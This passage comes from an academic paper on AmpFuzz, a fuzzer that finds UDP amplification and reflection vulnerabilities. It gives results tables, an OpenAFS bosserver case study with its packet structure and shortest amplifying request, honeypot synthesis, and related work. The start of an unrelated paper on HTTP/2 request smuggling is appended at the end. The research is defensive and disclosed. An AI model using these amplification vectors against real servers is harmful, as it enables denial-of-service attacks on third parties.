while mean and std denote the mean and standard deviation.

Overall, we find that AMPFUZZ is able to discover true
amplification (BAFL2 > 1) in 13 and reflection vulnerabili-
ties (BAFL2 = 1) in 6 of the 28 tested targets.

Protocols with known amplification vectors Our dataset
contains 12 targets implementing protocols for which ampli-
fication vulnerabilities have previously been found through
manual analysis, namely CharGen (19), DNS (53), TFTP (69),
SSDP (1900), and memcached (11211). On these, AMPFUZZ
manages to find 7 amplifications and 3 reflections. We inves-
tigated the cases in which AMPFUZZ fails to find expected
amplifications: For chronyd, no NTP-based amplification
can be found as chrony deliberately lacks support for NTP
mode 6 control messages and mode 7 extensions. Likewise,
minissdpd does not respond to M-SEARCH requests in the
given configuration and is hence invulnerable to the known
SSDP amplification vector. The CharGen implementation of
openbsd-inetd inetd cannot be triggered in our evaluation
setup, as openbsd-inetd ignores requests to the loopback inter-
face. After manually removing this check from the openbsd-
inetd source code AMPFUZZ succeeds in finding the expected
amplification. Lastly, the known DNS amplification vector

2Digest 6f4986d78878
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Table 2: 24h Fuzzing Campaign Results, each experiment was repeated 5 times. Novel vulnerabilities are highlighted.

target port # paths # requests # amps max(BAFL2) max(BAFL7)
best mean

±std best mean
±std best mean

±std best mean
±std best mean

±std

(atftpd) atftpd 69 11582 7819.0
±3479.7 91 70.6

±15.1 47 38.0
±7.2 3.63 3.27

±0.44 10.00 7.68
±2.14

(atftpd) in.tftpd 69 50 46.8
±2.8 6 6.0

±0.0 5 5.0
±0.0 1.14 1.14

±0.0 27.00 27.0
±0.0

(chrony) chronyd 123 106 71.8
±25.0 8 6.2

±1.8 - 1.00 1.0
±0.0 1.00 1.0

±0.0

323 243 234.0
±7.7 6 6.0

±0.0 - 1.00 1.0
±0.0 1.00 1.0

±0.0

(knot) knotd 53 201 152.4
±31.6 99 57.8

±28.8 - 1.00 1.0
±0.0 1.00 1.0

±0.0

(krb5-admin-server) kadmind 464 469 451.0
±12.2 92 78.0

±10.5 92 78.0
±10.5 2.91 2.86

±0.09 8.75 8.02
±1.13

(memcached) memcached 11211 370 326.2
±44.1 41 30.0

±8.0 33 14.0
±14.1 32.45 14.82

±16.13 129.07 52.96
±69.48

(ntp) ntpd 123 1324 1039.2
±289.5 329 234.0

±67.5 20 14.2
±3.8 7.47 7.47

±0.0 36.00 36.0
±0.0

(ntpsec) ntpd 123 1427 809.8
±455.6 244 181.8

±59.4 10 6.0
±2.8 7.28 7.28

±0.0 35.00 32.81
±4.38

(openafs-fileserver) bosserver 7007 1054 853.6
±209.5 259 219.6

±57.0 212 152.4
±55.9 4.59 4.59

±0.0 9.75 9.75
±0.0

(stubby) stubby 53 2 2.0
±0.0 1 1.0

±0.0 - 1.00 1.0
±0.0 ∞

(talkd) in.ntalkd 518 44 41.4
±2.2 22 20.0

±1.9 1 1.0
±0.0 1.09 1.09

±0.0 24.00 24.0
±0.0

(talkd) in.talkd 517 44 41.6
±2.6 22 19.6

±1.8 1 1.0
±0.0 1.09 1.09

±0.0 24.00 24.0
±0.0

(tftpd) in.tftpd 69 1297 980.2
±272.9 28 23.6

±2.7 22 20.2
±1.3 1.14 1.14

±0.0 13.50 13.5
±0.0

(xinetd) xinetd 7 3 3.0
±0.0 1 1.0

±0.0 - 1.00 1.0
±0.0 1.00 1.0

±0.0

13 6 6.0
±0.0 1 1.0

±0.0 1 1.0
±0.0 1.12 1.12

±0.0 ∞

19 3 3.0
±0.0 1 1.0

±0.0 1 1.0
±0.0 16.72 16.72

±0.0 ∞

37 3 3.0
±0.0 1 1.0

±0.0 - 1.00 1.0
±0.0 ∞

(xl2tpd) xl2tpd 1701 164 83.2
±59.2 75 35.2

±30.2 10 2.4
±4.3 3.52 2.19

±1.15 5.81 3.21
±2.49

(implementations knotd and stubby) utilizes ANY requests
for a domain with large DNS records. As such, it not only
requires the resolver (i.e., the target) to be able to perform
upstream queries (which we had disabled in our test setup),
but also knowledge of a valid domain with active records.

Novel amplification vectors AMPFUZZ also discovers 9
previously unknown reflection and amplification vulnerabil-
ities. Next to the trivial reflections in the legacy echo (7),
daytime (13), time (37) and talk (517)/ntalk(518) protocols,
these also include non-trivial reflections in control protocol
of chronyd (323) and amplifications in the Kerberos adminis-
tration server kadmind, the OpenAFS Basic OverSeer server
bosserver (see Section 4.7), and in the layer 2 tunneling
protocol [83] implementation xl2tpd.

Estimating individual vulnerabilities To quantify the
number of distinct amplification vectors per target, we not
only report the number of unique program traces (# paths).
We also count the number of distinct request handling be-
haviors, both overall (# requests) and for requests leading to
amplification (# amps). For this, we leverage data collected
by the dataflow framework during fuzzing, from which we
extract the set of all request-dependent CFG edges for each
input. That way, two requests that exercise different parts

of the target are counted individually, while requests whose
traces differ only in the iteration count of a loop or similar are
only counted as one. For example, atftpd uses a nested loop
structure to tokenize and parse request options, resulting in a
large number of possible execution paths. Yet, as further re-
quest handling only depends on which options were specified,
the number of distinct request types is much lower.

Interestingly, many targets amplify traffic for multi-
ple request types, i.e., offer multiple amplification vectors.
This further highlights the need for systematic discovery
of amplification vectors as simple defenses blocking only
fixed request patterns may be incomplete.

We manually investigated cases where only a small number
of paths were discovered during fuzzing: As we limit outgoing
connections, stubby, a DNS stub resolver, always replies with
SERVFAIL, irregardless of the query. For xinetd, we find that
the built-in services have very low complexity, with only one
or two branches during request handling. On these, AMPFUZZ
thus quickly achieves full path-coverage.

4.5 (RQ2) Impact of UDP-aware fuzzing

To evaluate whether UDP-aware fuzzing leads to faster find-
ings than using de-facto standard static timeouts, we per-
formed additional experiments running AMPFUZZ on all fuzz
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Figure 4: Time to first response for UDP-aware fuzzing vs. static timeouts (lower is better)

targets for one hour in six different configurations: UDP aware
(with a default timeout of 500ms) and static timeouts of 10,
50, 100, 500, and 1000ms.

Figure 4 shows the time until our fuzzer found the first
request-response pair over the experiment repetitions. As al-
ready hypothesized in Section 3.4, the optimal static time-
out varies between services. For example, on knotd a static
timeout of 50ms shows the best performance while the same
timeout fails to find any responses on xinetd. On the other
hand, while the fuzzer found request-response pair success-
fully with a large timeout of 1000ms, it slows down fuzzing
by multiple orders of magnitude. In contrast, in almost all
cases, UDP-aware fuzzing performs as well as or better
than the best performing static timeout.

We manually analyzed the two exceptions to this, knot and
memcached. In both cases, our approach to detect the end of
request processing fails to entirely terminate the target due to
other active background threads (e.g., for garbage collection
in the case of memcached).

4.6 (RQ3) Amplification Maximization

Lastly, we performed additional experiments to measure the
impact of our amplification maximization efforts as described
in Section 3.5. For this, we ran AMPFUZZ on all fuzz targets
in two configurations, once with and once without amplifi-
cation maximization, and measured the maximum Ethernet
amplification factor that was found after one hour, the results
of which are shown in Figure 5.

Surprisingly, it appears that purely coverage-based guid-

ance is already sufficient for some targets to find maximal
amplification requests, since new request types also lead to
new coverage. Further, by foregoing amplification maximiza-
tion, more time can be spent on exploring new coverage. Yet,
in almost all cases, amplification maximization allowed AMP-
FUZZ to find an equally large or larger maximum amplifica-
tion factor after one hour. This holds true in particular for
memcached and bosserver, where the BAF can be increased
by reducing the request size without providing new cover-
age. Thus, allocating some time-budget to amplification-
maximizing queries provides a net benefit overall.

4.7 Case Study: openafs bosserver

AMPFUZZ identifies a new amplification vector in the Basic
OverSeer (BOS) Server of the OpenAFS distributed filesys-
tem. This server is responsible for monitoring other processes
of the AFS filesystem and offers a UDP interface on port
7007. The protocol employed by the BOS server uses packets
with a fixed-size 28-byte header followed by a variable-length
payload (shown in Listing 1).

Packets of type RX_PACKET_TYPE_DEBUG and with the
RX_CLIENT_INITIATED flag set can be used to query for de-
bugging packets. Setting payload type RX_DEBUGI_RXSTATS
further specifies a communication statistics query, which pro-
duces a 312 bytes response.

AMPFUZZ can find all of these constraints through its
dataflow-assisted fuzzing. Furthermore, our added muta-
tion operator, which shortens the request, allows AMP-
FUZZ to generate requests that omit the last four bytes

1050    31st USENIX Security Symposium USENIX Association



0

1

2

3

m
ax

(B
AF

L2
)

atftpd:69
(atftpd)

0.0

0.5

1.0

in.tftpd:69
(atftpd)

0

2

4

6

memcached:11211
(memcached)

0

2

4

6

ntpd:123
(ntp)

0% 50% 100%
Percentage of Runs

0

2

4

6

ntpd:123
(ntpsec)

0% 50% 100%
Percentage of Runs

0

2

4

bosserver:7007
(openafs-fileserver)

0% 50% 100%
Percentage of Runs

0.00

0.25

0.50

0.75

1.00

in.ntalkd:518
(talkd)

0% 50% 100%
Percentage of Runs

0.00

0.25

0.50

0.75

1.00

m
ax

(B
AF

L2
)

in.talkd:517
(talkd)

0% 50% 100%
Percentage of Runs

0.0

0.5

1.0

in.tftpd:69
(tftpd)

0% 50% 100%
Percentage of Runs

0.00

0.25

0.50

0.75

1.00

xinetd:13
(xinetd)

0% 50% 100%
Percentage of Runs

0

5

10

15

xinetd:19
(xinetd)

amp. maximization disabled amp. maximization enabled

Figure 5: Cumulative distribution of maximum amplification factors over all test runs (higher is better)

s t r u c t r x _ h e a d e r { / / HEADER
a f s _ u i n t 3 2 epoch ;
a f s _ u i n t 3 2 c i d ;
a f s _ u i n t 3 2 ca l lNumber ;
a f s _ u i n t 3 2 seq ;
a f s _ u i n t 3 2 s e r i a l ;
u _c ha r t y p e ;
u _c ha r f l a g s ;
u _c ha r u s e r S t a t u s ;
u _c ha r s e c u r i t y I n d e x ;
u _ s h o r t s e r v i c e I d ;
u _ s h o r t s p a r e ;

} ;
s t r u c t r x _ d e b u g I n { / / DEBUG PAYLOAD

a f s _ i n t 3 2 t y p e ;
a f s _ i n t 3 2 i n d e x ;

} ;

Listing 1: Packet structure used by OpenAFS bosserver

(rx_debugIn.index), as they are irrelevant in that case. The
shortest request payload is thus only 28+ 4 = 32 bytes in
size. This results in a UDP payload BAF of 9.75 (BAFL2
4.59), which is higher than the amplification potential of other,
widely-abused protocols such as SNMP or NetBios [74].

After contacting the maintainers of OpenAFS about our
newly found amplification vector they promptly confirmed
our findings. Interestingly, they informed us that this particu-
lar amplification vulnerability found by AMPFUZZ not only
affects the BOS Server but all OpenAFS services sharing the
same underlying RX RPC mechanism [88].

To estimate the number of vulnerable services, we per-
formed an Internet-wide scan for UDP port 7007, which the
BOS Server uses. Our scan revealed just shy of 1k vulnera-
ble OpenAFS BOS Server instances. However, the OpenAFS
maintainers had mentioned that BOS Server instances usually
run behind a firewall since they require no external com-
munication. Unfortunately, such firewalling is not possible

for some other OpenAFS services. Indeed, further scans, in-
cluding port numbers of other affected OpenAFS services
(7000-7003, 7005), indicate a total of around 16k vulnerable
OpenAFS devices in IPv4, more than enough to launch severe
attacks.

4.8 Case Study: Honeypot Synthesis

On the defensive side, amplification honeypots have proven as
an invaluable tool. By mimicking the behavior of vulnerable
systems, they hope that attackers discover and abuse them
as reflectors. As such, they not only allow monitoring and
studying attacks in real-time [44, 82], but also form the basis
of several traceback mechanisms [31, 46–48].

However, creating such honeypot systems demands sub-
stantial manual effort. Since running full implementations of
the vulnerable services would introduce prohibitive overhead,
lightweight replica implementations of their request-response
behavior are required. For every amplification vector, analysts
thus need to determine which requests the honeypot should
respond to and how to compute the response. In this section,
we thus present an automated honeypot synthesis approach
based on AMPFUZZ.

4.8.1 Honeypot Synthesis Overview

In essence, a honeypot has to check incoming requests against
a set of known patterns, and, if a match is found, output a
corresponding response. The honeypot synthesis problem
can thus be reduced to providing indicator check functions
and corresponding output functions. Since AMPFUZZ pro-
vides us with a list of request-response pairs, the core idea
of our honeypot synthesis is to use symbolic execution to
capture path constraints on the request and an abstract sym-
bolic expression of the generated response, from which we
can generate these functions.
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Figure 6: Honeypot code example for OpenAFS bosserver

Symbolic Execution To collect path constraints and output
expressions, we leverage the state-of-the-art LLVM symbolic
execution framework SymCC [71], which can be nicely in-
tegrated with AMPFUZZ, as both rely on LLVM IR for in-
strumentation. We extend SymCC by providing symbolic
wrappers for receiving and sending network functions. We
generate new symbolic bytes for every byte read from the cor-
rect UDP socket for receiving functions. This allows SymCC
to treat network requests as symbolic inputs. For sending
functions, we record all collected path constraints and the
symbolic expression for every response byte. At this point,
the path constraints capture precisely which conditions the
request has to fulfill for the current response to be sent, while
the output expressions capture how the individual bytes of
the response are computed. Hence, to generate constraints
and expressions for a specific amplification vector, we only
need to replay the amplification request found by AMPFUZZ
against the SymCC-instrumented version of the target service.

Code Synthesis As a result of the previous step, we obtain
an SMT-LIB [12] model with a set of assertions describing
how to validate the amplification input and a list of expres-
sions, one for each byte of the corresponding reply. To build
a lightweight honeypot that does not rely on expensive SMT
solvers to evaluate these, we instead generate Python code
equivalent to the model. To this end, we convert all model ex-
pressions into a single-static-assignment form by performing
a post-order traversal of the expressions’ ASTs. During traver-
sal, operators and constants are replaced by their Python coun-
terparts and additional code to ensure the correct bitwidth,
while a cache ensures that equivalent subtrees are converted
only once.

Figure 6 shows an example of the honeypot code genera-
tion for the newly found amplification vulnerability in Ope-
nAFS’ bosserver, with parts of the model on the left and
their corresponding honeypot code on the right. Lines 10-
21 demonstrate an example of a request filtering constraint,

which includes bitvector concatenation and bitvector arith-
metic operations; its corresponding honeypot check code is
shown in lines 7-11. In case the check is successful, a corre-
sponding output function is called. Replies are synthesized
using the message bytes description we got from the symbolic
execution. In the example of bosserver, line 26 of the model
tells us that the output’s first 20 bytes should be the same as
the first 20 input bytes. However, byte 21 should be modified,
as shown in line 27. In particular, the output byte is computed
as the 7 highest-order bits of the 21st input byte with an ap-
pended zero bit. Our generated honeypot code translates this
to a sequence of shifts and bitwise operations, resulting in
the expression given in line 19. Lastly, the output function
returns the generated reply as a sequence of bytes, which are
then sent as a UDP packet to the originator of the request by
our synthesized honeypot.

4.8.2 Synthesized Honeypot Evaluation

As a small-scale evaluation, we synthesized a honeypot for all
vulnerabilities and reflections discovered by AMPFUZZ. To
ensure that our synthesized honeypot works as intended, we
compared its responses to those of the original services. In all
cases, the honeypot generated a response when the original
service did. While responses between the two were indistin-
guishable in many cases on a byte-level, we also observed
variance in others. This is expected for services that include,
e.g., random session identifiers in their responses but can also
appear as an artifact of concretization. Such concretization
can occur whenever non-SymCC-instrumented code such as
external libraries affects the current execution path. Still, auto-
matically synthesized honeypots can be deployed quickly to
monitor the exploitation of new amplification vulnerabilities.

4.9 Comparison with AmpMap [59]

In a recent study, Moon et al. [59] show how to estimate the
global “amplification risk” posed by amplification vulnerabili-
ties. For this, they develop AmpMap, a tool that probes public
Internet servers for amplification vulnerabilities in 6 UDP-
based protocols. As AmpMap generates requests for these
protocols based on protocol descriptions, it can be seen as an
instance of grammar-based blackbox fuzzing. We, therefore,
compare its approach and findings to that of AMPFUZZ.

Instrumentation and Configuration In contrast to AMP-
FUZZ, AmpMap does not require to instrument target services,
which in turn enables probing real-world systems that may
have multiple configurations.

Grammar-based Fuzzing By deriving inputs from a for-
mal specification, grammar-based fuzzing promises to gener-
ate valid inputs only, thus allowing a fuzzer to spend more
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time testing meaningful inputs rather than fighting input syn-
tax. While many networking protocols are specified (at least
in a human-readable form) in RFCs, this is not always true.
One example is the control message protocol used by chrony
(323), which is only specified in the source code of chrony it-
self. While AMPFUZZ found a reflection vulnerability for this
protocol, AmpMap cannot generate any requests for this tar-
get without a protocol specification. In other cases, protocols
allow for custom extensions. For example, NTP monlist [6]
is a private mode 7 extension by (ntp) ntpd. The only reason
AmpMap can still identify servers vulnerable to monlist is
that it leverages scapy [13] for request generation, which in-
cludes a model of these extensions based on a review of the
ntpd source code.

Interestingly, in some cases, AmpMap fails to find ampli-
fication vulnerabilities even when a protocol specification
is available. This is the case for NTP read variables, the
most severe NTP mode 6 vulnerability. Specifically, mode
6 control messages consist of a fixed-size header and a vari-
able length data field. For the read variables command,
(ntp) ntpd requires that the 16-bit header fields offset and
assocID fields are set to 0, that the 16-bit header field count
corresponds to the length of the data field, and that the re-
quest is padded to a multiple of 4 bytes. However, AmpMap’s
grammar does not take into account the specified link between
count and the data field, and further always adds a fixed data
field of 5 bytes, which violates the padding constraint. Yet,
even with a fixed empty data and a constant count of 0, the
random black-box approach of AmpMap only generates valid
read variables requests with a chance of 1 : 232.

Lastly, there are instances where a request’s amplification
factor can be increased by violating the protocol description.
An instance of this is the vulnerability detailed in Section 4.7.
Here, AMPFUZZ was able to omit the last four bytes from
the request, although the Rx protocol draft [88] considers all
parts of the debug request payload as non-optional.

Overall, we thus find that the lack of a protocol spec-
ification excludes fuzz targets, that incomplete protocol
specifications miss vulnerabilities, and that vulnerabilities
exist even outside of complete protocol specifications.

Expert Knowledge AmpMap further augments the under-
lying, generic protocol specifications with expert knowledge
of concrete vulnerabilities. For example, while the DNS spec-
ification only defines how domain names need to be encoded,
AmpMap restricts the choice to 10 active domain names for
which DNS records exist. This ensures that all generated
DNS requests will generate responses. Likewise, for SSDP,
the grammar used by AmpMap is restricted to M-SEARCH
requests only, for which a known vulnerability exists. Yet,
providing such expert knowledge for untested protocols is
a laborious task akin to analyzing the protocol by hand. In
addition, any such restrictions will limit the scope of amplifi-
cations to small parts of the vulnerable programs only.

5 Discussion

In this section, we outline shortcomings of our evaluation
and how they can be tackled, discuss the underlying assump-
tions made by AMPFUZZ, and describe how we adhere to the
best ethical standards during our active measurements and by
disclosing the vulnerabilities to vendors.

5.1 Evaluation Shortcomings

LLVM IR The underlying ParmeSan fuzzer and the newly
added extensions for UDP-aware fuzzing rely on LLVM IR
for target instrumentation. This means that services can be
fuzzed only if they can be compiled using an LLVM-based
toolchain. For our evaluation, we further relied on wllvm [3],
thus restricting our dataset to services written in C/C++. For-
tunately, this includes most network daemons on Linux. How-
ever, we noted a few special cases where services were im-
plemented in scripting languages such as Perl or used gcc-
specific extensions such as inline assembly.

UDP Sockets Another limitation stems from our choice of
using “real” UDP sockets for passing in- and output between
the fuzzer and the SuT. This ensures that all socket-related
APIs, especially those relying on socket states such as poll
and select, behave as they would in real-world scenarios.
However, measures have to be taken to separate SuTs from
the host system and from one another, e.g., to avoid conflicts.

To this end, we used Docker containers to isolate different
SuTs into their own namespaces. However, without grant-
ing additional privileges to these containers, access to some
low-level system calls is restricted. We thus had to exclude
some targets that, e.g., attempted to perform additional socket
configuration using ioctl calls. Actual sockets also impact
parallelization during fuzzing, as only one socket may be
bound to the same port and address at a time.

We could potentially avoid both problems by preventing
the SuT from binding “real” sockets and hooking the rele-
vant socket API functions instead, albeit at the cost of more
involved instrumentation. Additionally, fuzzing speed could
also be increased by having individual SuT instances bind to
different addresses in the 127.0.0.0/8 range, as long as the
SuT can be configured accordingly and exclusive access to
other resources is not required.

Source Addresses Related to the use of actual UDP sockets,
we also noticed that some daemons ignore requests from local
addresses, while others might ignore everything else. This
could be solved by either manual inspection of the SuT or
by extending AMPFUZZ with functionality that tries fuzzing
both from local and non-local addresses.
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5.2 Limitations
Single UDP Request Model Not all amplification vectors
can be discovered using AMPFUZZ. In particular, AMPFUZZ
assumes that requests are sent via UDP and that a single
request suffices to trigger amplification. While these assump-
tions currently hold for the vast majority of known vulner-
abilities, TCP-based amplification is possible [15, 51] and
attackers have reportedly used preparatory TCP requests to
implant large payloads on memcached amplifiers [23]. As
such, non-UDP and multi-request amplifications are currently
out-of-scope for AMPFUZZ.

Request Complexity Other amplification vectors are not
well-suited for discovery through greybox fuzzing. This
includes, for example, DNS, where valid domain names
can hardly be found without expert knowledge, but also
LDAP [77], where requests must be ASN.1 BER encoded3.
Yet, where a formal protocol specification exists, grammar-
based fuzzing approaches [59] can still handle the latter case.

Instrumentation AMPFUZZ assumes that targets can be
readily instrumented and is hence unable to fuzz closed-
source programs. However, recent advances in binary-only
fuzzing [61] might enable searching for amplification vectors
in closed-source programs in the future.

Target Configuration As noted in Section 4.2, AMPFUZZ
requires some manual onboarding for each target to deter-
mine the target’s command line arguments and configuration
options. While in many cases, we can complete this process
with a cursory look at the services’ man page in only a few
minutes, it remains a manual process. Furthermore, the ampli-
fication potential of a target can differ per configuration [59].
Therefore, AMPFUZZ would be best suited for large-scale
deployment in an approach similar to OSS-Fuzz [39], which
invites software maintainers to provide their fuzzing configu-
rations and automates everything from there.

5.3 Active Measurements
To assess the prevalence of vulnerable systems and hence
the threat posed by amplification vulnerabilities discovered
with AMPFUZZ, we performed Internet-wide scans. While
conducting scans, we followed best practices [28] to ensure
that our experiments caused no harm. We only scanned a
significant number of randomly sampled IP addresses to be
able to extrapolate meaningful results, sent out only a single
packet per destination, and obeyed our institute’s established
blocklist to exclude networks from the scan that had asked us
to. Our institute’s ERB approved all our active experiments.
In addition, we also made sure that our probes had no ill

3X.690, https://www.itu.int/rec/T-REC-X.690/

effects on the target systems through local experiments and
source code reviews. For example, in the case of OpenAFS,
we concluded that the debug packets we used had no side
effects other than incrementing a statistics counter.

5.4 Coordinated Disclosure
Where possible, we contacted the maintainers of affected
packages before submitting this paper to disclose our findings.
This ensures that they have a minimum of 90 days before
our findings are publicly disclosed, which aligns with the
industry standard. No party asked us to redact our results
before submission.

6 Related Work

Amplification DDoS and (network) fuzzing have been active
fields of research in the past. We now discuss how previous
works from these areas relate to AMPFUZZ.

6.1 Amplification DDoS
Paxson first discovered the risk of abusing third-party services
as reflectors for DDoS attacks in 2001 [66], showing the
UDP-based reflection potential of DNS and SNMP. In 2014,
Rossow extended the list of known-vulnerable UDP protocols
to a total of 14 and provided a measurement of their real-world
amplification factors [74].

Following that, several works have further analyzed indi-
vidual protocols for their amplification potential: For DNS,
van Rijswijk-Deij et al. studied the impact of the then-newly
introduced DNSSEC [84], while MacFarland et al. analyzed
how an attacker can optimize their queries to achieve larger
amplification factors [56]. Liu et al. and Adamsky et al. both
show how peer-to-peer networks can be leveraged to launch
amplification attacks [9,55], including a scenario in which the
attacker first uploads data to a distributed storage system and
later spoofs download requests from the victim. This attack
is conceptually similar to the later discovered Memcached
amplification attack [23]. Beyond UDP reflection, Kührer et
al. investigate the amplification potential of the TCP hand-
shake itself [51], Sargent et al. that of the IGMP management
protocol [76], while Gasser et al. warn about the threat posed
by publicly reachable BACnet devices [35].

Yet, all of the amplification vectors found in the works
above were found exclusively through manual protocol speci-
fication review or reverse engineering. Our goal is to automa-
tize new amplification discovery.

Knowing amplification vulnerabilities is vital for several
reasons. For one, it allows for assessing the threat landscape
by scanning for potential amplifiers or monitoring (malicious)
scanning activities using network telescopes [25, 49]. Further-
more, once a vulnerability is known, steps can be taken to
mitigate it. For instance, Kührer et al. [50] report a reduction
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of vulnerable NTP servers by 92% achieved through a coor-
dinated disclosure in collaboration with multiple NOCs and
CERTs. The later study by Li et al. [53] also measures the
remediation effects on other protocols. Lastly, knowledge of
amplification vulnerabilities also enables passive monitoring
of attacks through DDoS honeypots. As such, amplification
DDoS honeypots have been proposed by Krämer et al. in
2015 [44] and by Thomas et al. in 2017 [82].

Honeypots have also been used to provide an additional per-
spective on the Denial-of-Service ecosystem, e.g., by Jonker
et al. [41], while another line of work attempts to provide
honeypot-based traceback capabilities [31, 46, 47]. By pro-
viding law enforcement agencies with additional leads when
investigating attacks, the latter underlines the utility of honey-
pot systems also outside the research community.

6.2 Algorithmic Complexity DoS
Fuzzing has been successfully applied to find another class of
Denial-of-Service attacks, namely through Algorithmic Com-
plexity (AC) bugs that incur expensive resource usage when
processing certain inputs. In 2017, Petsios et al. presented
SlowFuzz [69] based on libFuzzer [7] that discovers such
inputs for C programs using evolutionary fuzzing: the number
of executed basic blocks is counted for each randomly gener-
ated input, and the top ones are staged for one mutation each.
The same year, Lemieux et al. [52] improved over SlowFuzz’s
results, presenting a fuzzing technique based on AFL [87]
which applies several mutation transformations to random in-
puts prioritizing those traversing the most CFG edges. Noller
et al. [63] further demonstrate how fuzzing can be supple-
mented with symbolic execution to uncover deep execution
paths with high computational resource consumption. In 2020,
Blair et al. [14] challenged the coverage of AFL-based ap-
proaches. They presented micro-fuzzing for Java programs
which allows for identifying the AC-vulnerability triggering
inputs for individual functions instead of the whole program,
uncovering previously unknown AC bugs.

However, AC bugs and amplification vulnerabilities form
two different attack classes: While AC bugs can be used
to cause logical denial-of-service attacks of the vulnerable
system, amplification attacks abuse vulnerable systems as
intermediaries to attack other systems.

6.3 Fuzzing Employing Symbolic Execution
While we only use symbolic execution to generate honeypots,
several approaches have demonstrated that symbolic execu-
tion can also assist fuzzing. Such hybrid fuzzing approaches,
popularized by Stephens et al. [80], can potentially reach
“deeper” code paths into the SuT by using constraint solvers
to find new inputs. Yet, as symbolic execution is expensive,
several approaches aim to use it sparingly. For example, Peng
et. al. [67] perform regular fuzzing on a simplified version

of the SuT that lacks some checks and only identify with
symbolic execution the feasibility of discovered paths in the
original program, while Liang et al. [54] recently proposed to
use it for the initial seed generation only.

6.4 Network Fuzzing

With the recent trend of software fuzzing, some fuzzers have
been developed to target network daemons. Next to general-
purpose fuzzers that simply use network sockets as other
means of providing input to the SuT [10,27,37,40,64], this in-
cludes dedicated network fuzzers which generate inputs either
based on previously recorded client-server interactions [34,
75,81] or from protocol descriptions [11,30,42,68,79]. Some
further attempt to infer server-side state in order to reach code
paths that require multiple messages between a client and
the server [29, 34, 70]. Most of these only target TCP ser-
vices, where terminated connections can be observed easily.
The ones which allow for fuzzing UDP services either ig-
nore replies from the server completely [10, 40], or rely on
timeouts [30, 37, 64, 68, 70, 75, 81] or user-provided target-
specific scripts [27]. However, as shown in Section 4.4, UDP-
awareness of AMPFUZZ outperformed simple timeout-based
solutions by multiple orders of magnitude. More importantly,
these previous fuzzers aim to find either inputs that lead to
server-side crashes or detect differences between a protocol’s
specification and implementation. AMPFUZZ, on the other
hand, is concerned with finding amplification vulnerabilities
in a greybox, yet protocol-agnostic way.

7 Conclusion

AMPFUZZ is the first protocol-agnostic approach to discover
amplification DDoS vulnerabilities in UDP-based network
services systematically. To this end, AMPFUZZ leverages
the advancements in directed greybox fuzzing to discover
inputs that trigger large network service responses. Moreover,
AMPFUZZ augments fuzzing with UDP-awareness, i.e., the
ability to distinguish different protocol states, by combining
dynamic instrumentation with a static pre-processing.

Our experiments on real-life network services show that
UDP-awareness significantly improves fuzzing performance.
After finding candidate daemons through an SELinux refer-
ence policy analysis, we evaluated 28 daemons extracted from
the Debian package repositories. In total, AMPFUZZ identi-
fied vulnerabilities in 19 network services, 13 out of which
provide amplification with BAFL2 > 1. Next to rediscover-
ing 7 known vulnerabilities, our principled approach revealed
9 previously unknown vulnerabilities. For the most severe
of these, with a non-trivial 4.59 BAFL2, we further show its
real-world amplification potential through an Internet-wide
scan.
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A Selected Fuzz Targets

Table 3 presents all targets used in our evaluation discussed
in Section 4.

Table 3: Selected Fuzz Targets (marked ports denote protocols
with known amplification vectors)

package version binary ports

atftpd 0.7.git20120829-3.3+deb11u1 atftpd 69
in.tftpd 69

chrony 4.0-8+deb11u1 chronyd 123, 323
inetutils-syslogd 2:2.0-1 syslogd 514
knot 3.0.5-1 knotd 53
krb5-admin-server 1.18.3-6+deb11u1 kadmind 464
krb5-kdc 1.18.3-6+deb11u1 krb5kdc 88
memcached 1.6.9+dfsg-1 memcached 11211
minissdpd 1.5.20190824-1 minissdpd 1900
ntp 1:4.2.8p15+dfsg-1 ntpd 123
ntpsec 1.2.0+dfsg1-4 ntpd 123
openafs-fileserver 1.8.6-5 bosserver 7007
openbsd-inetd 0.20160825-5 inetd 7, 13, 19, 37
rsyslog 8.2102.0-2 rsyslogd 514
stubby 1.6.0-2 stubby 53
talkd 0.17-17 in.ntalkd 518

in.talkd 517
tftpd 0.17-23 in.tftpd 69
xinetd 1:2.3.15.3-1+b1 xinetd 7, 9, 13, 19, 37
xl2tpd 1.3.12-1.1 xl2tpd 1701
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Abstract
HTTP/2 adoption is rapidly climbing. However, in practice,
Internet communications still rarely happen over end-to-end
HTTP/2 channels. This is due to Content Delivery Networks
and other reverse proxies, ubiquitous and necessary compo-
nents of the Internet ecosystem, which only support HTTP/2
on the client’s end, but not the forward connection to the ori-
gin server. Instead, proxy technologies predominantly rely
on HTTP/2-to-HTTP/1 protocol conversion between the two
legs of the connection.

We present the first systematic exploration of HTTP/2-to-
HTTP/1 protocol conversion anomalies and their security
implications. We develop a novel grammar-based fuzzer for
HTTP/2, experiment with 12 popular reverse proxy technolo-
gies & CDNs through HTTP/2 frame sequence and content
manipulation, and discover a plethora of novel web applica-
tion attack vectors that lead to Request Blackholing, Denial-
of-Service, Query-of-Death, and Request Smuggling attacks.

1 Introduction

HTTP/2 has seen quick and massive adoption since its intro-
duction in 2015. A 2020 measurement by HTTP Archive
showed that 64% of HTTP requests were served using
HTTP/2 [10]. However, these measurements come with a sub-
tle yet critical caveat: In practice, clients and origin servers
rarely communicate over end-to-end HTTP/2 channels, but
instead use a mix of HTTP/2 and HTTP/1.1

This situation is largely due to the widespread use of Con-
tent Delivery Networks (CDNs) and other stand-alone reverse
proxies, which intercept and process the traffic exchanged
between a client and origin server. Even though such proxy
technologies support HTTP/2 on the client-facing leg of the
connection, they rarely do so for proxy-to-origin connections,
and instead fall back to using HTTP/1, regardless of the ori-
gin’s support for HTTP/2. As a result, proxies need to dynam-

1In this paper, we will refer to all HTTP/1.* protocol versions simply as
HTTP/1 for brevity.

ically translate between HTTP/2 and HTTP/1 as they forward
packets in either direction.

There is no officially documented account of this need for
the HTTP/2-to-HTTP/1 conversion, or a formal analysis of
its implications, to the best of our knowledge. However, in-
formal exchanges observed online (e.g., a post to the NGINX
mailing list by an NGINX developer [6]) provide insights into
potential reasons. For example, some proxy developers see
no performance benefit to using HTTP/2 for proxy-to-origin
connections, especially when the proxy is co-located with
the origin. Other reasons include general technical debt con-
cerns and the infeasibility of updating established man-in-the-
middle technologies. For instance, web application firewalls
and load balancers that run on proxies are only designed to
process HTTP/1; an overhaul is made difficult by the fact that
HTTP/2 is a binary protocol [2].

Regardless of the reasons, in an exploratory study, we found
that out of the ten most popular reverse proxies, only one
supported upstream HTTP/2 connections–and that support
too was disabled by default. Given the solidifying position of
proxies as critical infrastructure for a scalable Internet, and
their ubiquitous use repeatedly demonstrated by public data
